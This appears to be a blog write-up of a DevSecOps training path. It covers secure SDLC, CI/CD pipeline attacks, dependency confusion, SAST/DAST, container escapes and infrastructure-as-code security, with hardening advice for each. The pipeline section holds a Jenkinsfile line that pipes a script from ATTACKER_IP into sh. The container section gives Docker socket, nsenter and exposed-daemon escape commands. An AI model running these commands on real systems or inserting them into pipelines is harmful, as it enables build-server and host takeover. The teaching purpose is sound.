Introduction

Part 2 of my Security Engineer write-up closed with a promise: the DevSecOps path was next on the list. Consider it ticked. Seventeen rooms across five modules, all spent on the place where my two worlds meet: shipping software without shipping vulnerabilities alongside it.

I am a platform engineer: these days my job is keeping the platform running that everyone else’s software lands on. The pipelines, Docker fleets, and Terraform underneath it are things I have built; they no longer fill my weeks. Either way, I expected this path to be revision with a security accent. Parts of it were. The surprise is how much was not: the technology I run every week carries an attack catalog of its own, and I had read almost none of it. If the Security Engineer path’s software security module was the trailer, this is the feature film. Part 1 of that series is here for anyone who wants the full arc.

Module	Rooms	What it drills
Secure software development	3	SDLC, secure SDLC, threat modeling, secure coding
Security of the pipeline	3	Version control, credential hygiene, CI/CD build security
Security in the pipeline	3	Dependency management, SAST, DAST
Container security	5	Containerisation, Docker, Kubernetes, escapes, hardening
Infrastructure as code	3	IaC concepts, Vagrant and Ansible, Terraform and CloudFormation

Secure software development

The opening module retells the history: waterfall’s blame games, the Agile Manifesto, and DevOps growing out of a 2008 conversation between Patrick Debois and Andrew Clay Shafer before DevOpsDays made it a buzzword. DevSecOps is the next verse: same culture, same automation, with security folded into every phase instead of bolted on at the end.

One stat makes the economic case for the whole discipline: IBM’s numbers (‘SSDLC economics’ section) on fixing a bug at 6x the design cost in implementation, 15x in testing, and 100x in maintenance. The secure software development life cycle (SSDLC) is the attempt to spend at the 1x end of that curve. I covered the tool ladder and the risk math in the previous post, so I will keep this short; the new bits for me were the maturity models. Microsoft’s SDL prescribes secure by design, by default, and in deployment plus sixteen activities to prove it. OWASP SAMM measures where your organization stands. BSIMM, my favorite of the three, skips the should and reports what real organizations do; the room’s phrasing is that it tells you what you are doing wrong.

Security of the pipeline

The thesis of this module is a single sentence I have not stopped repeating since: a continuous integration and delivery (CI/CD) pipeline is remote code execution (RCE) as a feature. Anyone who can trigger a build can run code on your build infrastructure. The attack surface reduces to three questions: what triggers a build, who may pull the trigger, and where the build runs.

SolarWinds showed us what’s at stake: attackers injected a backdoor into the build of an update product, and the vendor’s own signing process shipped it to thousands of customers. The rooms then work through how the same attack looks at homelab scale. The nastiest default I learned about: Jenkins builds merge requests by default, so the chain is fork the repo, edit the Jenkinsfile in your fork, open a merge request, and the webhook hands your code a shell on the build agent:

pipeline {
    agent any
    stages {
        stage('build') {
            steps {
                sh '''
                    curl http://ATTACKER_IP:8081/shell.sh | sh
                '''
            }
        }
    }
}

The countermeasures are organizational as much as technical. A two-person rule where the initiator of a change can never be the one approving the gate; the room’s demo found a GitLab configuration where approval was optional and self-approval was allowed. The core lesson: attackers ignore any policy technology does not enforce.

Environment segregation matters twice over: one runner (the build executor) serving both development and production branches means a compromised dev job intercepts prod builds, and unscoped variables mean that same job can read the production API key from the comfort of a test pipeline. GitLab’s Protected and Masked variable flags plus runner tags per environment close both holes.

Then there is the ghost in every repository: git never forgets. A secret committed and deleted in the next commit is still in history, which is why tools like Gitleaks scan all of it, and why secrets belong in a vault rather than version control, even for a single commit. The credential hygiene checklist adds places I had not thought about: secrets baked into container image layers, secrets echoed into build logs, credentials that never get rotated. My favorite attack surface calculation of the path: an internally hosted GitLab with open self-registration, 10,000 employees of which 2,000 need access, is five times the intended audience. Devs compound it by marking IP-bearing repos “public” internally because “it is behind the perimeter”; that is the fallacy this blog keeps coming back to.

Security in the pipeline

Module three puts the scanners into the pipeline itself, and opens with my favorite statistic of the path: a four-line Python script that imports NumPy executes roughly 8,000 lines of dependency code. You own about 0.01% of your application. Supply chain attackers run XKCD 2347 as a business model.

Dependency confusion

The MageCart group makes the case for attacking dependencies instead of applications: skimmers in British Airways’ payment portal cost BA a fine of 230 million dollars, over 100,000 credit cards compromised across payment portals, and more than 10,000 S3 buckets seeded with malicious JavaScript. The lab reruns the same play against a bucket serving a JavaScript library: world-writeable permissions, one curl --upload-file, and the library is now a credential skimmer that waits five seconds before exfiltrating so the page transition does not kill the request.

The headline lab though is dependency confusion, Alex Birsan’s 2021 find. Point pip at an internal registry via --extra-index-url and it compares versions across all indexes and installs the highest. So: find an internal package name (a developer’s forum post about twine upload dist/datadbconnect-0.0.2.tar.gz was enough), build a package with version 9000.0.2, and wire the install hook in setup.py to run a reverse shell. The shell fires at install time, before the application imports the package, which is the clever part: the attacker does not have your source, so the build would fail anyway, but the build server executes the package first. Upload to the public registry, wait for the internal server’s scheduled rebuild, and the callback arrives from the machine holding the deploy credentials. The build server is the crown jewel because everything trusts it.

Microsoft’s fix is one flag: reference a single private feed with --index-url so pip never consults public registries for internal names. Pre-register your internal package names on public registries as well (name-squat yourself; it is free), add subresource integrity hash pinning for CDN scripts, and the whole attack class stops working.

SAST and DAST

I covered the Psalm and ZAP basics in the previous post; the DevSecOps rooms go a level deeper. Static application security testing (SAST) gets a proper taxonomy of five analysis techniques: semantic (dangerous calls in isolation), dataflow (taint from source to sink), control flow (race conditions, null dereferences), structural (dead code, weak crypto), and configuration (that allow_url_include=On in php.ini no one remembers setting). The room’s conclusion matches what I saw: SAST is an excellent complement to manual review, never a replacement.

Dynamic application security testing (DAST) via ZAP adds the tuning dials: scan policies where threshold controls false positives and strength controls payloads, authenticated scanning that re-verifies the session every 60 requests and re-runs the login script when the logged-in indicator disappears, and API scanning that imports an OpenAPI spec instead of spidering, because API endpoints do not reference each other. The pipeline wiring stays my favorite pattern: a baseline scan (one minute, passive only) on every commit, full scans on a schedule. Cheap on every push, thorough on a timer.

Container security

The container basics were review; I wrote about separating Docker apps on a VPS myself. This module adds a security lens to the fundamentals: namespaces provide convenience isolation, and the room warns that this is not security isolation. A few rooms later you have seen the proof.

Three escapes, and each one starts with a convenience:

• The Docker socket mounted into a container (common in CI setups) is a direct line to the host daemon; spawning a sibling container that mounts the host root is one command:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

• A privileged container holds cap_sys_admin, which allows mounting the host’s cgroup filesystem; the Trail of Bits technique sets notify_on_release, points release_agent at a script smuggled onto the host overlay, and lets the kernel execute it as host root
• A container sharing the host PID namespace (a debugging convenience) reveals host processes via ps aux; nsenter --target 1 --mount --uts --ipc --net /bin/bash then walks into init’s namespaces and inherits root

Or skip the cleverness: an exposed Docker daemon on port 2375 (plaintext; 2376 is the TLS variant) answers curl http://IP:2375/version and then docker -H tcp://IP:2375 ps hands over the whole inventory, with start, stop, exec, and delete as a menu.

Hardening is the mirror image of each escape: drop capabilities by default (--cap-drop=ALL --cap-add=NET_BIND_SERVICE beats privileged every time), set cgroup limits because containers ship uncapped ("Memory": 0 in docker inspect means unbounded), and stack a seccomp profile denying execve on top of an AppArmor profile denying access to /bin, /lib, and /usr. Review images before running them: Dive shows what every layer changed, and Docker Scout on a plain nginx:latest found 215 packages, 22 vulnerable, 45 CVEs including a glibc privilege escalation scoring 7.8. The CIS Docker Benchmark and NIST SP 800-190 turn all of it into a checklist.

Kubernetes gets one room and the essentials are the uncomfortable ones: any pod can talk to any pod by default, Secrets are base64 at rest and unencrypted unless you configure encryption, and the Pod Security Standards’ three levels (privileged, baseline, restricted) exist because someone has to say no to the debug pod that requests everything.

Infrastructure as code

The final module was the most “welcome to my world” and still was able to teach me a thing or two. Infrastructure as code (IaC) means the servers, networks, and everything on them exist as versioned code, and the tool taxonomy is the keeper:

Tool	Approach	Agent	Mutability
Terraform	Declarative, provisioning	Agentless	Immutable
Ansible	Hybrid, config management	Agentless	Mutable
Pulumi	Declarative, provisioning	Agentless	Immutable
CloudFormation	Declarative, provisioning, AWS only	Agentless	Immutable
Chef	Imperative, config management	Agent-based	Mutable
Puppet	Declarative, config management	Agent-based	Mutable

No single tool covers all four jobs (provision infrastructure, manage infrastructure, install software, manage software); the standard pairing is a provisioning tool plus a config management tool. Terraform then Ansible is my VPS recipe, validated by a path outline.

The security content hides in the on-premises room. The lab pipeline deploys a database and web server via Vagrant with Ansible, and the role defaults read like a password manager with the master password taped to it:

db_name: BucketList
db_user: root
db_password: mysecretpasswd
db_host: 172.20.128.3

api_key: superapikey

Those variables then flow into shell commands (mysql -u {{ db_user }} -p{{ db_password }}), landing the secret in process lists and shell history too. Unfortunately, I discovered after a couple of hours that these DB credentials are a red herring for solving the puzzle. I am not going to spoil it for you, but the on-premises room made my brain hurt.

The “attacking IaC” material generalizes the lesson into four concerns:

• Dependencies: a base image pulled from a registry carries its vulnerabilities into everything the pipeline deploys
• Defaults: fine at creation, a liability once nobody rotates them; Vagrant keeps vagrant:vagrant around for WinRM transfers and Jenkins ships jenkins:jenkins, and both outlive the setup
• Leftover access: services the pipeline needed, WinRM above all, survive the deployment and become lateral movement paths
• RCE as a feature, again: an IaC pipeline is, by design, the ability to run code on everything it deploys

The challenge lab ties it all together. The only hint you get here is the one this section has been making all along: no kernel exploit needed, the pipeline’s own configuration is the exploit.

Cloud IaC rounds out the module. CloudFormation brings a main-worker architecture, change sets, and automatic rollback; Terraform counters with cloud-agnostic HCL and a local state file. The state file is the part to secure, since it stores resources and their secrets in plaintext by default. The secure IaC checklist compresses to a handful of habits: version control everything, parameterize sensitive data (never hardcode), pull secrets from a vault, use remote encrypted state backends, prefer IAM roles over long-lived keys, and keep audit trails and code reviews on every change.

Next

The thread running through all seventeen rooms: the efficiency tools in my toolkit double as attack paths. The pipeline is a privileged user with an API, the container is a process pretending to be a machine, the IaC repo holds the keys to everything it describes. Answer the three questions (what triggers a build, who may trigger it, where does it run) for your own pipeline before someone else answers them for you.

Next week I am not sure yet what this space gets; there is enough in the draft queue and the lab is warm. Stay tuned.